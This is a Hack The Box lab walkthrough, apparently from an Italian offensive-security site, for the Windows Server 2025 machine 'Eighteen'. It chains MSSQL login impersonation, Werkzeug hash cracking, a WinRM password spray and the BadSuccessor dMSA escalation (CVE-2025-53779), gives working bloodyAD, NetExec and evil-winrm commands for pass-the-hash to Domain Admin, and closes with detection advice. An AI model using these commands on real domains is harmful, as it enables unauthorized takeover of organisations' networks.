HTB Eighteen Walkthrough: MSSQL and private BadSuccessor(dMSA)

WriteUp Hack The Bpx Eighteen: MSSQL impersonation, cracking hash Werkzeug PBKDF2, privilege escalation with BadSuccessor (CVE-2025-53779) on Windows Server 2025
- Posted on 2026-07-11
- Reading time: 9 min
Hack The Box (HTB) Eighteen Walkthrough: From MSSQL Impersonation to Domain Admin with BadSuccessor (dMSA) #
Eighteen is a Windows Server 2025 machine by HackTheBox that starts from an MSSQL impersonation to get to a Werkzeug PBKDF2 hash to crack, continues with a password spraying that opens the WinRM access, and closes by exploiting BadSuccessor ( CVE-2025-53779 ): an abuse of the migration of Delegated Managed Service Accounts (dMSA) , the new type of service account introduced in Windows Server 2025, which allows a user with a simple write permission on an OU to obtain Domain Admin privileges without touching any privileged group.
1. Initial reconnaissance #
A port scan shows only three exposed services: HTTP (80) , MSSQL (1433) , and WinRM (5985) — a combination that immediately signals a Windows environment with a web application talking to a SQL Server database.
nmap -p- -vvv --min-rate 10000 10.129.28.94The site on port 80 redirects to the domain eighteen.htb, so it should be added to /etc/hosts before continuing. This is a Flask app (recognizable by the default 404 page) that manages a small personal finance management system, with login, registration and a control panel. /admin Reserved.
A check with curl confirm server stack and status:
curl http://eighteen.htb/ -v* Host eighteen.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.28.94
* Trying 10.129.28.94:80...
* Established connection to eighteen.htb (10.129.28.94 port 80) from 10.10.14.146 port 34860
* using HTTP/1.x
> GET / HTTP/1.1
> Host: eighteen.htb
> User-Agent: curl/8.19.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=utf-8
< Vary: Cookie
< Server: Microsoft-IIS/10.0
< Date: Sat, 11 Jul 2026 08:52:44 GMT
< Content-Length: 2253The header Date The time returned by the server is useful at this stage: comparing it with your host's time will immediately reveal a significant discrepancy. It's best to synchronize your local clock with the target's clock right away—Kerberos authentication, which will be used later (both for domain access and for exploiting BadSuccessor), only tolerates a few minutes of difference between the client and the domain controller, beyond which tickets are rejected.
No interesting paths emerge from the directory brute force beyond the already known ones: the app treats every unknown URL as a home page, so the fuzzing only produces noise.
2. MSSQL Enumeration and Impersonation #
With the credentials provided (kevin), login to MSSQL only works in local mode, not as a domain account:
mssqlclient.py eighteen.htb/kevin:'<password>'@eighteen.htbkevin does not have sysadmin privileges and cannot access the application database financial_planner. However, listing the impersonation permissions reveals something useful:
enum_impersonatekevin can impersonate the account appdev, the one actually used by the web application to talk to the database. With exec_as_login appdev you get full access to financial_planner, where the table users Contains the password hash of the site's admin user.
For more information on MSSQL enumeration and abuse (impersonation, link server, xp_cmdshell, and related techniques), see the dedicated article on hackita: Port 1433 - MSSQL.
Since we don't yet know the administrator's real hash (it needs to be cracked, as we'll see shortly), the quickest option is to generate a Werkzeug hash for which we already know the cleartext password and insert it directly into the table, thus immediately gaining working admin access without waiting for the cracking. I search online for a Werkzeug hash generator and create the hash, which I'll insert into the database.
INSERT INTO users (full_name, username, email, password_hash, is_admin, created_at)
VALUES ('hackita', 'hackita', 'info@hackita.com',
'pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$58167801adc92759a129a1dbc5a6bdc22912a4b9f56709ccfa218c85fbab9476',
1, '2026-1-1 05:39:03');Login with the user hackita and the known password works regularly, and access to /admin It's granted. The panel, however, doesn't provide anything exploitable: it only displays basic information (database type, hostname, application name), with no additional functionality to abuse. At this point, before completely dismissing this possibility, it's worth testing some application-side payloads (SSTI, since it's a Flask app, or other form parameters)—but again, nothing exploitable emerges, and it becomes clear that the correct path is to recover and crack the administrator's real hash to continue enumerating with their actual credentials.
In parallel, a RID cycling attack through MSSQL (feasible even without elevated privileges, exploiting the possibility of resolving arbitrary SIDs) allows to enumerate domain users and reconstruct the username schema (nome.cognome).
3. Hash recovery and cracking Werkzeug #
The hash found in the table users It has this format:
pbkdf2:sha256:600000$<salt>$<hash>It is not directly compatible with hashcat, which for the 10900 module (PBKDF2-HMAC-SHA256) expects the format sha256:iterazioni:salt_base64:hash_base64. The point that generates the most confusion the first time is that both the salt and the hash must be converted to base64 — the salt starting from plain text, the hash starting from hexadecimal (so it must first be decoded from hex to raw bytes and then re-encoded).
A Python script available online for this specific problem automates the conversion:
import base64, codecs, re, sys
with open(sys.argv[1], 'r') as f:
hashes = f.readlines()
for h in hashes:
m = re.match(r'pbkdf2:sha256:(\d*)\$([^\$]*)\$(.*)', h)
iterations, salt, hashe = m.group(1), m.group(2), m.group(3)
print(f"sha256:{iterations}:{base64.b64encode(salt.encode()).decode()}:{base64.b64encode(codecs.decode(hashe,'hex')).decode()}")With the hash reformatted, hashcat It recognizes it in autodetect and cracks it against rockyou in a few seconds, returning the clear text password of the site administrator.
4. Password spraying and WinRM access #
With the recovered password and the list of domain users obtained via RID cycling, a simple password spray on WinRM reveals password reuse:
nxc winrm eighteen.htb -u users.txt -p '<password>' --continue-on-successOnly one account, adam.scott , reuses the same password and belongs to a group allowed for WinRM access. This is where the first shell and user flag are obtained.
5. Active Directory Enumeration with BloodHound #
SharpHound (or RustHound) collects the domain's permissions map. One detail immediately catches the eye when querying the domain directly via PowerShell:
Get-ADDomain | Select Name, DomainMode
Get-ADForest | Select Name, ForestModeThe domain appears to be at the Windows Server 2025 functional level —an uncommon configuration, as the functional level typically remains lower until a specific feature of the newer version is needed. This detail is the first clue that points to BadSuccessor.
6. What is a dMSA and why is it dangerous? #
The Managed Service Account Family #
In Active Directory, service accounts run Windows services (SQL Server, IIS, custom applications) instead of a human user. The historical problem has always been the same: accounts with static passwords, often not rotated for years, reused on multiple machines, and stored in clear text or recoverable with techniques like Kerberoasting.
Microsoft addressed the problem in three subsequent generations:
| Type | Introduced in | Scope of use | Who manages the password? |
|---|---|---|---|
| sMSA (standalone) | Windows Server 2008 R2 | One server only, non-transferable | Active Directory, automatic rotation |
| gMSA (group) | Windows Server 2012 | Multiple servers simultaneously (clusters, application farms) | Active Directory, automatic rotation, shared between authorized hosts |
| dMSA (delegated) | Windows Server 2025 | A specific server, with strong binding to the device identity | Derived from computer credentials, protected by TPM/Credential Guard when available |
The dMSA is specifically designed to replace an existing legacy service account without disrupting the service using it: an administrator initiates a migration, the dMSA “inherits” everything it needs (SPNs, delegation, groups) from the original account, and once the transition is complete, the legacy account is disabled.
A concrete example: svc_sql
#
To understand the difference between the three generations it is useful to think of a real case: an account svc_sql used to run the SQL Server service.
- With a pilot plant sMSA, that account only works on the machine on which it was configured. If the company has two different SQL servers (
SQL01eSQL02), a separate sMSA is required for each — it is not transferable. - With a pilot plant gMSA, the same account can be shared between multiple servers at the same time: useful for clusters or application farms where multiple machines need to authenticate with the same service identity.
- With a pilot plant dMSA, we conceptually return to a single server (like the sMSA), but with much stronger password protection: the secret is tied to the hardware identity of the device using it (TPM, or Virtualization-Based Security via Credential Guard when the TPM is not available), not simply “AD-managed” as in the previous two cases.
In all three cases, the password is not written or known by any administrator: it rotates by itself, exactly as happens with machine accounts (NOMEPC$) that every computer in the domain has.
Minimum glossary: TPM, VBS, Credential Guard #
- Trusted Platform Module (TPM): A separate physical chip on the motherboard, isolated from the rest of the system. It stores cryptographic keys that are never accessible like regular RAM or disk.
- VBS (Virtualization-Based Security): Uses hardware virtualization to create an isolated memory zone within Windows itself. Even if the main operating system is compromised, that zone remains protected.
- Credential Guard: A feature that leverages the isolated zone created by VBS specifically to protect credentials, preventing them from being extracted by malware or tools like Mimikatz.
Why dMSA is “safer” only in theory #
The idea behind dMSA is good: the secret is no longer just "somewhere in AD," but is anchored to the authorized machine's hardware, making it harder to exfiltrate even if the server is compromised. The problem with BadSuccessor isn't related to this protection itself—it's related to the migration process , i.e., the moment an old account "becomes" a dMSA, which has proven to be controllable by those who shouldn't be able to.
The migration mechanism #
The migration mechanism from a legacy account to a dMSA is based on two key attributes:
msDS-ManagedAccountPrecededByLink: indicates which account the dMSA is replacingmsDS-DelegatedMSAState: indicates the migration status (2 = completed)
When a dMSA authenticates, the Key Distribution Center (KDC) constructs the Kerberos ticket including the groups and privileges of the “predecessor” account linked via that attribute — so the transition from legacy accounts to dMSA is transparent to the services that depend on it.
Where the bug originates #
The “official” migration procedure (cmdlet Start-ADServiceAccountMigration / Complete-ADServiceAccountMigration) is reserved for Domain Admins: a normal user cannot start it. The problem is that that procedure, in the end, simply writes two LDAP values to the dMSA object — there is no cryptographic verification, no signature, no additional checks. Key Distribution Center (KDC) he blindly trusts the content of msDS-ManagedAccountPrecededByLink: if a dMSA has valorized it and msDS-DelegatedMSAState is at 2, the KDC builds the ticket as if a legitimate migration had actually occurred, without asking who he wrote those two values.
This means that anyone who simply has the right to modify the attributes of a dMSA they own (no permissions are required on the account they want to impersonate) can achieve the exact same effect as the official migration by simply manually filling in those two fields.
And creating your own dMSA is easier than it seems: normally they should be created in the protected “Managed Service Accounts” container, reserved for administrators — but there is nothing stopping you from creating them in any other OU of the domain. It is enough to have Create All Child Objects (or, more specifically, the right to create objects msDS-DelegatedManagedServiceAccount) on that OU: a very common permission, often delegated to help desks or IT teams for routine tasks, and almost never considered sensitive by those who audit AD permissions.
The complete attack path, then, is:
- Find an OU on which you have the right to create objects (often already present due to an existing delegation, no prior escalation required)
- Create a dummy dMSA inside it — as the creator, you automatically have full control over it
- Writing by hand
msDS-ManagedAccountPrecededByLinktargeting a high-privileged account (e.g. Administrator) andmsDS-DelegatedMSAStateto 2 - Request a TGT for the dMSA - the resulting ticket PAC will contain the groups and SIDs of the target account, including Domain Admin
The point that makes BadSuccessor particularly insidious from a defensive point of view is that no privileged group is touched and no writing takes place on the target account : all manipulation remains confined to a newly created dMSA object, which upon superficial inspection has nothing to do with the account being impersonated.
A less obvious side effect, also exploited in this machine's walkthrough, concerns Kerberos keys : to ensure that tickets issued before the "migration" remain valid, the KDC also includes the Kerberos keys of the linked account in the dMSA's key packet—including, when the target account is still using RC4 (the default unless configured otherwise), its cleartext NT hash. In practice, in addition to a ticket with the target's privileges, the attack can directly return the password hash.
7. Exploitation of BadSuccessor #
The first step is to verify which OUs are exploitable. The Akamai research group has published a dedicated PowerShell script:
.\Get-BadSuccessorOUPermissions.ps1In the case of Eighteen, the group IT (of which adam.scott is a part) appears to have the necessary permissions on OU=Staff.
The same control can be done remotely with NetExec, without needing to load anything on the target machine:
nxc ldap 10.129.28.94 -u adam.scott -p '<password>' -M badsuccessorFor the actual exploitation, at the time of writing the official NetExec module only handles the verification phase: the dMSA creation and the fraudulent link are available in a separate branch not yet integrated into the main project, or via alternative tools such as bloodyAD , which exposes the same attack in a single command:
bloodyAD -d eighteen.htb -u adam.scott -p '<password>' --host <IP> \
add badSuccessor hackita --ou "OU=Staff,DC=eighteen,DC=htb" \
-t "CN=Administrator,CN=Users,DC=eighteen,DC=htb"The command creates the dMSA, sets the two binding attributes, and directly requests a TGT for the newly created account. The response also includes the dMSA's previous keys : since the migration mechanism also transfers the predecessor account's Kerberos keys (to ensure continuity with tickets already issued), these keys include the target account's NT hash—in the case of Eighteen, the Administrator's hash.
At this point, simply authenticate with that hash to get a shell as a domain administrator:
nxc smb <IP> -u administrator -H <hash_NT>
evil-winrm -i <IP> -u administrator -H <hash_NT>8. Detection Blue Team #
BadSuccessor leaves specific traces that a detection team can monitor:
- Creation of anomalous dMSA objectsEvent ID 5137 on OUs not normally intended for service accounts, generated by users who do not routinely manage this type of object
- Editing the attribute
msDS-ManagedAccountPrecededByLinkEvent ID 5136, almost certainly a sign of an abuse attempt if the value points to a highly privileged account - Abnormal dMSA authentications: Event ID 2946 in the Directory Service log, with the Caller SID field set to
S-1-5-7(anonymous identity) — a pattern that deserves attention on newly created and never used dMSAs before - Periodic review of delegations on OUs: many organizations grant
CreateChildgeneric on delegated OU (e.g. for help desk) without restricting it to only the object classes that are really needed — the most effective mitigation remains to explicitly limit which object classes (users, computers, but not service accounts) a principal can create
It is worth noting that Microsoft subsequently released a patch for domain controllers: environments with DCs updated beyond a certain build are no longer vulnerable to this specific variant of the attack.
9. Conclusions #
Eighteen is formally labeled an "Easy" machine on HackTheBox, but the number of logical steps doesn't reflect the actual difficulty encountered. The complexity wasn't in the chain itself—a few well-connected steps—but in the depth of knowledge required to recognize them: a non-trivial Werkzeug hash format to reformat, and a vulnerability (BadSuccessor) published less than a year before the machine's release.
There was also a real risk of getting lost on the web side: since it's a Flask app, it's natural to try different payloads, thinking about known vulnerabilities on this stack (e.g., SSTI) or other attack paths on the login/registration form, before realizing that the real vector was MSSQL and not the web application itself. It's a good reminder of how, in Active Directory, seemingly innocuous permissions on an OU (like a simple right to create objects) can result in a full escalation to Domain Admin, especially when new features like dMSAs come into play.
Article by the Hackita team — Italian offensive security resources, HTB/ProLabs walkthroughs, and OSCE3 preparation.








